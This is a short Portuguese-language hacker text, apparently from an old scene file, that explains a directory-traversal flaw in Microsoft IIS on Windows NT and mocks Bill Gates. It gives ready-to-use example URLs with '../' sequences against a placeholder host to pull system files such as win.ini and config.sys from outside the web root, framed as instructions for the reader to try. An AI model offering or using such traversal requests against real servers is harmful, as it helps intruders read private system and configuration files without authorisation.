Há um erro no Internet Information Server (IIS) Ele permite a voce pegar aquivos fora dos diretorios publicos Se voce tentasse http://legal.com.br/config.sys voce nao conseguiria... Nosso amigo BiLL Gates, como ele é generoso... Até seu Windows NT tem facilidades.... Coitado ganha tão pouco com sua MS e os outros ainda ficam hackeando, tadinhu.....hehehe......

Vamos supor: http://www.hack-me.com.br/htmls/main.htm e vamos supor que o arquivo na maquina do cara seja:

c:\iis\htmls\main.htm entao se voce fizer http://www.hack-me.com.br/htmls/../../windows/win.ini voce teria o win.ini do cara http://www.hack-me.com.br/htmls/../../config.sys voce teria o config.sys do www.hack-me.com.br Mas lembre-se isso so vai funcionar se o servidor http for windows NT.